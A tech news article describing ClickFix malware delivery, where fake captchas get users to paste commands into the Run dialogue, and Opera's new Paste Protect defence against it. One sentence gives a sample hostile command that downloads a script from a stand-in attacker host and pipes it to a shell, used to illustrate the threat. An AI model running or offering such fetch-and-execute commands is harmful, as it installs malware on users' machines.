OPERA DID WHAT CHROME AND EDGE STILL STRUGGLE WITH

A technique called ClickFix now drives more than half of all malware loader incidents. The user visits a compromised website, sees a fake error or captcha, and is told to open the Windows Run dialogue (Win+R), paste a provided command, and press Enter. The user does it. Installed: malware.

No major browser had a native defence against this until Opera. The company's new Paste Protect feature, enabled by default on Opera One, blocks both ClickFix-style injection attacks and clipboard hijacking. And if you use Chrome, Edge, or Firefox, you get nothing from the browser itself.

you may like

CHROME TO BOOT REMAINING AD BLOCKERS BY THE SUMMER

FEEL LIKE FLYING? GOOGLE'S FLIGHT SIM IS ON WEB

BLACK FLAG RESYNCED HITS 3MN SALES IN A WEEK, NEW GAME PLUS ON THE WAY

Paste Protect is two features in one. The first half, Hijack protection, has been in Opera since 2021. It watches for external applications silently replacing clipboard contents (a copied crypto wallet address swapped for a scammer's address, for instance). The second half is new: Injection protection.

Injection protection monitors clipboard activity in real time on Windows, macOS, and Linux. It checks the content against patterns associated with malicious scripts. If it flags something, the copy action stops immediately. A warning pop-up explains what happened, and a red icon appears in the address bar. Users can see the first 120 characters of blocked content.

"The clipboard is the last point before a malicious command is run, so that’s where we built our defence. With Paste Protect, we’re stopping these attacks at the exact moment they would normally succeed." — Pawel Kurzelewski, Opera's product safety lead, put it directly.

WHY CLICKFIX WORKS SO WELL

The technique succeeds because the user performs the execution. A conventional attack drops a binary via a drive-by download or a phishing link. ClickFix hands the user the command and asks them to run it. The operating system treats the action as legitimate because the input came from the keyboard, not from a remote process. Antivirus tools that scan file writes often miss it entirely.

According to cybersecurity firm Huntress, ClickFix accounts for over 53% of this kind of malicious activity. That number is not a blip. It is the dominant malware delivery vector, and it relies entirely on the browser handing the user a dangerous string without any warning.

"ClickFix attacks succeed because they turn the user into the weapon", Kurzelewski said in a different statement.

THE GAP IN THE MARKET

Until Opera acted, not a single major browser had a native defence against ClickFix. Chrome users can install third-party extensions like ClickFix Block for some protection, but extensions live and die by update schedules and permissions changes. Firefox and Edge offer nothing built-in either.

Mohamed Salah, Opera's senior product director, framed the decision as an evolution of existing protection: "Opera had already been protecting users from paste hijacking for half a decade – it made sense to expand that protection to address one of the most increasingly serious online threats".

That of hijack protection gave Opera a head start. Expanding it to cover injection attacks was a straightforward engineering move: the clipboard monitoring machinery already existed. The addition is the real-time pattern matching that catches commands like the ones ClickFix distributes.

HOW IT WORKS

Paste Protect is enabled by default on all desktop versions of Opera. Developers can override a block with a five-second hold on the paste action, or they can whitelist specific websites they trust. This balances safety with utility: a developer copying an API key from a documentation site doesn't want constant false positives, while a casual user should never paste `curl http://evil.com/script.sh | sh` into a terminal.

"Paste Protect gives your browser a robust early warning system that can alert less experienced users while still enabling more control for more tech-savvy users or developers." — Salah noted.

The override mechanism is sensible: a deliberate hold vs a reflex paste. The whitelist is per-site, so users can pin a handful of trusted sources without weakening protection elsewhere.

WILL THE INDUSTRY FOLLOW? CAN THEY?

Opera's move puts pressure on Google, Microsoft, and Mozilla. None of the major browsers — Chrome, Edge, Firefox — have implemented clipboard content scanning at the browser level. That gap is exactly what ClickFix exploits.

Opera is now the only browser that screens clipboard content before it reaches the OS command interpreter. Whether that status lasts depends on how fast the competition reacts. Given that ClickFix accounts for over half of malware loader incidents, the incentive to close the gap is real.

THE QUIET SHIFT

Browser security has traditionally focused on preventing scripts from escaping the sandbox, blocking XSS, and enforcing HTTPS. User-controlled actions like pasting fell outside that model because the user is assumed to consent to their own input. ClickFix broke that assumption. The user is consenting, but the input is malicious.

Opera's response acknowledges that the clipboard is the last point of control before a command runs. Kurzelewski called it out exactly: "The clipboard is the last point before a malicious command is run, so that’s where we built our defence. With Paste Protect, we’re stopping these attacks at the exact moment they would normally succeed."

The industry as a whole will need to follow, or users will keep being their own worst enemies.

what to read next

GOOGLE ANNOUNCES HEALTH CLI FOR DEVS WHO WANT TO SCRIPT FITNESS DATA

ITS OFFICIAL, EARTH HAS ITS FIRST TRILLIONAIRE

CASHAPP LAUNCHES $40 PHONE PLAN? BUT WHY?

For now, Opera One users get protection that Chrome, Edge, and Firefox users do not. That differential will not last forever, but it is meaningful today. And if you are running any other browser, the next fake captcha you encounter might already have your command ready.